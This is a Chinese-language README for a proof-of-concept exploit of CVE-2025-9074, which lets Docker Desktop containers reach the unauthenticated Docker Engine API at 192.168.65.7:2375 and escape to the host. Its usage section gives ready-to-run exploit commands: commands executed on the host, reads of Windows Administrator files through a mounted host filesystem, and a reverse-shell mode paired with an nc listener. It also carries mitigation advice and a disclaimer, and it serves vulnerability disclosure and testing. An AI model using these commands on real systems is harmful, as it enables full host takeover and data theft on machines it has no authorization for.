CVE-2025-9074：Docker Desktop 容器逃逸 PoC

CVE-2025-9074 的概念验证利用程序——Docker Desktop 中的一个严重容器逃逸漏洞，允许未授权访问 Docker Engine API。

漏洞概述

技术细节

该漏洞允许在 Docker Desktop 上运行的容器无需认证即可访问位于 http://192.168.65.7:2375 的 Docker Engine API。无论以下设置如何，此问题均会发生：

• 增强型容器隔离（ECI）设置
• “将守护进程暴露在 tcp://localhost:2375 上而不使用 TLS”配置
• 任何其他安全设置

影响

• Windows（WSL 后端）：以管理员权限完全接管主机
• macOS：容器操纵及潜在后门植入（受限于用户提示）
• Linux：不受影响（使用 Unix 套接字而非 TCP）

根本原因

Docker Engine API 暴露在容器可访问的 TCP 套接字上，允许：

• 创建/删除容器
• 挂载主机文件系统
• 执行特权命令
• 完全绕过容器隔离

使用方法

前提条件

pip3 install requests

命令执行模式

# 在主机上执行命令
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "whoami"

# 从 Windows 主机读取文件
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "cat /hostfs/mnt/c/Users/Administrator/Desktop/root.txt"

# 列出 Windows 上的用户
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "ls -la /hostfs/mnt/c/Users"

反弹 Shell 模式

# 终端1：设置监听器
nc -lvnp 4444

# 终端2：执行利用程序
python3 exploit.py -u http://192.168.65.7:2375 -m reverse -l <YOUR_IP> -p 4444

# 连接后，主机文件系统位于：/hostfs

从容器内部使用

# 如果你已经拥有对容器的访问权限
curl http://192.168.65.7:2375/version

攻击场景

graph TD
    A[恶意容器] -->|无需认证| B[Docker Engine API<br/>192.168.65.7:2375]
    B -->|创建容器| C[特权容器]
    C -->|挂载主机文件系统| D[完全主机访问]
    D -->|读取/写入| E[危害系统]

缓解措施

需要立即采取的行动

立即更新到 Docker Desktop 4.44.3 或更高版本。

# 检查你的 Docker Desktop 版本
docker --version

# 更新 Docker Desktop
# Windows：从 https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe 下载
# macOS：从 https://desktop.docker.com/mac/main/amd64/Docker.dmg 下载

临时解决方案

如果无法立即更新：

1. 避免运行不受信任的容器
2. 监控来自容器的网络连接
3. 实施网络分段
4. 在部署前审查所有容器镜像

参考

• Docker 安全公告
• NVD CVE-2025-9074
• Felix Boulet 的博客
• Philippe Dugré 的分析
• GitHub 公告

免责声明

本工具仅供教育和授权安全测试目的使用。

• 仅对你拥有或明确授权测试的系统使用
• 未经授权访问计算机系统是违法的
• 作者不对此软件的滥用承担任何责任

致谢

• 漏洞发现：Felix Boulet、Philippe Dugré
• PoC 开发：Amanja Francisco
• Docker 安全团队：快速响应和修复

许可证

MIT 许可证 - 详情请参阅 LICENSE 文件